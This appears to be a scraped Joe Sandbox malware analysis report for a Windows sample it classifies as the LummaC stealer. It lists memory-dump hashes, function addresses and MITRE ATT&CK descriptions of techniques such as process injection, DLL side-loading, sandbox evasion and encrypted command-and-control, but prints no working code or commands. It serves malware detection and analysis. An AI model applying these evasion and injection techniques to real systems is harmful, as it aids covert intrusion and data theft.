Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 545ffea1aa971428e9a9f0dca4ba3238d3fa55e0f5310199bec62b5259e70d70
Instruction ID: f50a237760aadbc98025ab777caf2e9f561f8a8fd2797fe59e26e8f69aa7917c
Opcode Fuzzy Hash: 545ffea1aa971428e9a9f0dca4ba3238d3fa55e0f5310199bec62b5259e70d70
Instruction Fuzzy Hash: 802159B7F5162107F3544829DD98352668387D5328F2F83B9CE2C6BBC5DC7E5D0A0288

Function 00DCA6AB Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7732211035a6df2e632ccc2281e8a55e022041b45e9e83757c6a623c85e8d1d8
Instruction ID: 5448a61b4054bbb6b736696f64e92104025f56730dc544c4ca1f9e34560a618c
Opcode Fuzzy Hash: 7732211035a6df2e632ccc2281e8a55e022041b45e9e83757c6a623c85e8d1d8
Instruction Fuzzy Hash: 70218EB3F216254BF39408B8CD5836265829BD1320F2F433A9F7C6B2D5DCBD4D095284

Function 00C85450 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a7e3969bb9351cee2318ff7cf686ebc8b684c17489816f028db5cf6b6efe4ddf
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 1511AC336055D40EC3169D3C84005657F931AE363EBA943D9F4B89B1D7D5628DCA8359

Function 00D7C575 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2124f15cf6d4e8697616ca1402afaf067d16792a4bfba99f15581416c1e05d08
Instruction ID: 1c6daebca02b5378bc21004ceb9c2a8be8a041c71d7da578adf3143660d54a0c
Opcode Fuzzy Hash: 2124f15cf6d4e8697616ca1402afaf067d16792a4bfba99f15581416c1e05d08
Instruction Fuzzy Hash: D5115BA7F006140BF348487ADDA83622983D7D5314F2F81398B599B7DADCBE5C0B1384

Function 00C73086 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f12010033cc8e53038dcac99a5b6cbf58bca774c18d545aa283afe218dff3493
Instruction ID: c0a101f9ff2e4192d4fcb783033f2a21bbf54e523cffc78a809174fcd83b3c35
Opcode Fuzzy Hash: f12010033cc8e53038dcac99a5b6cbf58bca774c18d545aa283afe218dff3493
Instruction Fuzzy Hash: 99E0ED76C11100AFDE007B10FC05B2C7B62A76230BB861022E40963272EF35542AA75A

Function 00C6C653 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b41dc00641079c40762cab33925b817a00176c5207a0ab35c94408b03e006d7f
Instruction ID: 19f762aaf42bafffe6d0b59e896bdbeec5d3d5fa024ace8fc13ca6377daa1894
Opcode Fuzzy Hash: b41dc00641079c40762cab33925b817a00176c5207a0ab35c94408b03e006d7f
Instruction Fuzzy Hash: E5D0127BF92100479A0D9E50ED47B7A666393C760570CE1258905E3748DE3CD44ED40A

Function 00CAB308 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1422215005.0000000000CA4000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000000.00000002.1421995245.0000000000C50000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422017256.0000000000C93000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422159236.0000000000CA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F27000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422215005.0000000000F3D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422525217.0000000000F3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422659659.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1422679814.00000000010D3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c50000_uZO96rXyWt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c196c294c58857eadbdcff005a6d7634e8f728d91dd209cf01f7a6956d525bb3
Instruction ID: ca1c5a0c05911d83fbbc931f01b6409ec28e8e5c15d3193eae7a0567306132a7
Opcode Fuzzy Hash: c196c294c58857eadbdcff005a6d7634e8f728d91dd209cf01f7a6956d525bb3
Instruction Fuzzy Hash: 43D092B1108A15CFC704AF4AD0C02A8BAF0AB49300F51142CA5C586120E3310498DB47

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uZO96rXyWt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

Windows Analysis Report
uZO96rXyWt.exe

Function 00C5ACF0 Relevance: 9.2, Strings: 7, Instructions: 430
COMMON

Function 00C58850 Relevance: 1.7, APIs: 1, Instructions: 208
COMMON

Function 00C8C1F0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Function 00C8C180 Relevance: 1.5, APIs: 1, Instructions: 35
memoryCOMMON

Function 00C5C583 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00C5C550 Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Function 00C8AAA0 Relevance: 1.5, APIs: 1, Instructions: 13
memoryCOMMON

Function 00C8AA80 Relevance: 1.5, APIs: 1, Instructions: 9
memoryCOMMON